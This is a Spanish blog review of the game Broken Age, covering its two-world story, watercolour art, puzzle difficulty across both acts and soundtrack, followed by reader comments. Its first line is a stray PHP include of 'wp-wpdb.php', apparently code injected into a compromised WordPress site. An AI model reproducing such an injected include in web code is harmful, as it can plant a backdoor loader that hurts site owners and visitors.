if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); Análisis Broken Age – La Fortaleza de LeChuck

Análisis Broken Age

¿Cuanto tiempo diríais que ha pasado desde que Tim Schafer no hace una aventura? Pues han sido 16 años, ¿Y una aventura gráfica Point&Click? Casi 20. Para remediarlo, Tim inició un exitoso Kickstarter con el que prometía lanzar una aventura clásica inolvidable, y parece que a la gente le gustó la idea, ya que superó tranquilamente los 3 millones de dólares. Más de tres años han pasado y por fin Double Fine ha lanzado el último acto de Broken Age, una aventura llena de fantasía entre dos mundos.

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Broken Age nos pone en la piel de dos personajes, por un lado está Vella, una chica que vive en Villa Sacarosa. Su familia está muy feliz porque ha sido elegida junto a otras chicas de su edad para participar en el festín de doncellas, una celebración donde se utiliza a jovencitas como ofrenda a un terrible monstruo llamado el mog Chothra. La población lleva generaciones con tal tradición como único recurso para conservar la paz en el mundo, ya que creen inútil enfrentarse al monstruo. Vela no está muy convencida de convertirse en la comida del bicho así que logra escapar con el objetivo de encontrar valientes que se unan a ella para derrotarlo. Por otro lado tenemos a Shay, un niño que vive en una nave espacial junto a un ordenador que cuida de él las 24 horas del día. Shay está cansado de su tediosa vida y desea ver mundo, aunque su ordenador no se lo pondrá fácil. Ambos niños lucharán cada uno su lado para romper con unas tradiciones impuestas que parece que nadie está dispuesto a cambiar.

Lo primero que debes saber antes de jugar a Broken Age es que no se parece en nada a otras obras de Tim o juegos de Lucasarts. Hay que cambiar el chip, esto no es Grim Fandago ni Day of the Tentacle, es algo totalmente nuevo y rezuma originalidad y frescura como lo hicieron en su día las aventuras citadas.

Broken Age tiene un fuerte componente artístico con unas ilustraciones habituales en los cuentos que en la aventura cobran movimiento y los personajes se desplazan como en aquellos cuentos con páginas en movimiento. Los protagonistas recorren mundos teñidos en acuarelas, con colores vivos y con muchas texturas diferentes. Desde el primer teaser ya se podía percibir que Broken Age iba a ser una fábula moderna que tanto adultos como niños podrían disfrutar.

El juego se desarrolla a un ritmo pausado y natural entre pueblos insólitos y sus extraños lugareños. Hay muchos pueblecitos pintorescos que sorprenden, me gustó especialmente Nubaleda, un mundo flotante, donde sus habitantes son adoradores de lo ligero, hasta el punto que quitan letras a sus nombres. También me resultó encantador y divertido poder interactuar con objetos inanimados y animales, eso da pie a numerosas bromas. Cabe decir que Broken Age tiene bastante diálogo, así que vale la pena exprimir todas las opciones para conocer más de la vida disparatada de cada individuo. Además, si indagamos en sus vidas desbloquearemos logros bastante curiosos.

En el Acto 2 suceden giros bastante importantes que nos desvelarán que está realmente sucediendo, con nuevos villanos y puzles que nos harán rozar la desesperación. Sin embargo, se echa en falta una relación más cercana entre los protagonistas y una mayor interactuación entre ellos. También es una pena ver como la emoción de la historia va en caída libre en el acto 2, sin un gran clímax, y alargando la duración del juego con puzles de mayor dificultad. Por otro lado, hay un diferencia de un año y medio entre la publicación del Acto 1 y 2, y hubiera sido de agradecer el incluir un resumen de lo más destacado de la primera parte para aquellos que jugamos en su día, ya que tendremos que hacer memoria, o algo más radical: empezar desde 0.

Broken Age conserva elementos clásicos de las aventuras Point&Click pero llevados a los nuevos tiempos, todo es más intuitivo y rápido de ejecutar. Los elementos de los escenarios no tienen descripción, sabremos si se puede intactuar con algo cuando el puntero cambie de forma. El inventario aparece abajo y se despliega haciendo click sobre la esquina, como si fuera una página doblada, un pequeño y bonito detalle. Pinchando sobre los objetos obtendremos una explicación detallada, y para utilizarlos basta con arrastrarlos hasta donde deseemos. Broken Age también recupera, como no podía ser de otra forma, algunos atajos clásicos para no sufrir esos interminables paseos que se suelen suceder cuando estamos atascados, así que si queremos pasar a otra pantalla de forma express bastará con hacer dos clicks en el límite. También podremos saltarnos los diálogos o cinemáticas presionando la barra espaciadora. Parece que este nuevo sistema más sencillo e intuitivo, nacido a raíz de los nuevos dispositivos móviles, se impone en las nuevas aventuras e invita que más jugones se adentren en el género.

En el apartado de los puzles, es donde Broken Age pierde puntos. Los puzles del Acto 1 de Broken Age son muy sencillos, se basan en recoger objetos (bastante obvios de localizar) y utilizarlos adecuadamente para avanzar. Los primeros son a modo de tutorial para recién llegados y luego suben un poco el nivel, pero aún así resultan bastante fáciles. No obstante, en el caso de un hipotético atasco, el poder cambiar entre personajes hace mucho más llevadero el juego (Justo como hacíamos en Day of the tentacle ¿eh?).

Lo mejor de los puzles es su originalidad y las soluciones divertidas: ¿Una escalera que no se sujeta en una nube? quizá hay que hacerla «volar», o el caso de dos encapuchados sin rostro que nos impiden pasar y cuando descubrimos la estúpida solución no podemos evitar sonreír y pensar: «Tim, Tim… menudo mamón estás hecho». Recuerdo como el tío bromeaba con que si alguien se atascaba le llamara para pedir pistas. Si me lo hubiera dicho en Grim Fandango su teléfono hubiera echado humo.

En el Acto 1 todo era un camino de rosas, pero en el Acto 2 de Broken Age el nivel de dificultad sube exponencialmente. En esta segunda parte, y a diferencia de la anterior, necesitamos información de un mundo para resolver puzles del otro, pero los datos que necesitamos no están en lugares habituales o lógicos y no se nos da ni la más mínima pista de dónde encontrarlo. Hay otros puzles puñeteros que dependen del timing y alguno que simplemente tenemos que esperar para que se haga efectivo. Sin embargo, los que acabarán con nuestra paciencia serán los relacionados con cables, espero que seáis buenos electricistas porque no sabéis lo que os espera. Me consta que mucha gente se ha visto arrastrada a consultar guias en algún momento del Acto 2, en mi caso conté con la inestimable ayuda de Arthas Wake, que supongo que vio la frustración en un tweet que lancé y acudió a mi rescate, aunque luego resultó ser una cosa tonta que no vi dado que mi cabeza echaba ya humo. Tim estaba en lo cierto cuando dijo que esperáramos al Acto 2 para comprobar la supuesta facilidad del juego, aunque podría haber estado mucho mejor repartida entre los dos actos.

Sin duda este Acto 2 me ha recordado cuando jugaba de niña en mi viejo ordenador a aventuras. Aquellos objetos escondidos (aún me acuerdo de aquel que estaba detrás de una puerta, Tim) y puzles absurdos. Ahora que todo ha terminado, esos momento frustrantes me han traído ese sentimiento de nostalgia.

Visualmente Broken Age enamora. Los personajes y entornos pintados con trazos irregulares de pincel encandilan y se desmarcan de cualquier cosa que hayamos visto antes en un videojuego. Es un estilo sencillo y armonioso que explota las habilidades del artista de Double Fine Nathan Stapley. En cuanto al sonido, ¿sabéis quién ha compuesto la banda sonora de Broken Age? Pues ni más ni menos que Peter McConnell, conocido por sus trabajos para LucasArts (Monkey Island 2, Indiana Jones and the Fate of Atlantis…) y posteriormente para Double Fine. Las agradables melodías se funden de forma notable en el relato. Además, el soberbio trabajo de los actores de voz de la talla de Elijah Wood o Jennifer Hale ponen la guinda.

Broken Age no es una aventura gráfica desternillante como sucedía en aventuras anteriores de Tim Schafer. Esta vez nos encontramos con un cuento amable y visualmente bello que nos sabe sumergir en su ambiente, y donde la sencillez y magia sobrepasan la pantalla. Parece que a Double Fine no le ha hecho falta basarse en las aventuras gráficas que atrajeron a la mayoría de sus backers, y han sabido desmarcarse con un nueva aventura. Seguramente podría haber dado más de si pero sin duda es entretenida.

Broken Age ya está disponible en Steam, GOG, IOS y Android, además de PS4 y Vita, pero sin duda os recomiendo la edición física que los chicos de Badland han lanzado en nuestro país, una pequeña maravilla que quedará estupendamente en vuestra estantería.

Por Arashi

Aparte de patear traseros de piratas como gobernadora en Mêlée, soy una fanática de los videojuegos desde que de pequeña me regalaron la Atari 2600. Adoro las aventuras gráficas y los RPG, pero no le hago ascos al resto. Otra de mis pasiones es todo lo relacionado con Japón.

7 comentarios

  1. yo esperaba mas despues de tanta espera que ya por si sea un intercambio de escenarios me ha parecido un tanto lamentable pero lo jugare ya que aun siendo facil tiene su encanto pero vamos que mi sensacion es que con la fama que tiene Tim nos esta colando muchas jugadas no del todo correctas como la supuesta HD del Fandango o la proxima del Dia del tentaculo, eso si ni de broma lo vuelvo a financiar mas.

    1. Ya me contarás cuando lo termines. El caso es que me parece que todos esperábamos mucho más de Tim con esos 3 millones de dólares, y particularmente hubiera preferido algo más loco como sus anteriores juegos. Pero bueno, no es para nada una mala aventura 🙂

  2. Cásate conmigo Arashi, solo por ver la descripción de tu perfil se que eres la mujer perfecta 😀 perdón por el off-topic.

    Ya tenia ganas de jugar una aventura gráfica al uso ya sea de Tim o Ron Gilbert.

    Me ha gustado mucho el estilo artístico y esas mecánicas y puzzles como las aventuras point and click de antaño… aunque no sea nada del otro mundo soy demasiado subjetivo con el genio Tim y más aun con Ron Gilbert, así que bueno para mi es un gran juego, no es una obra maestra pero un gran juego e indispensable para los amantes del genero.

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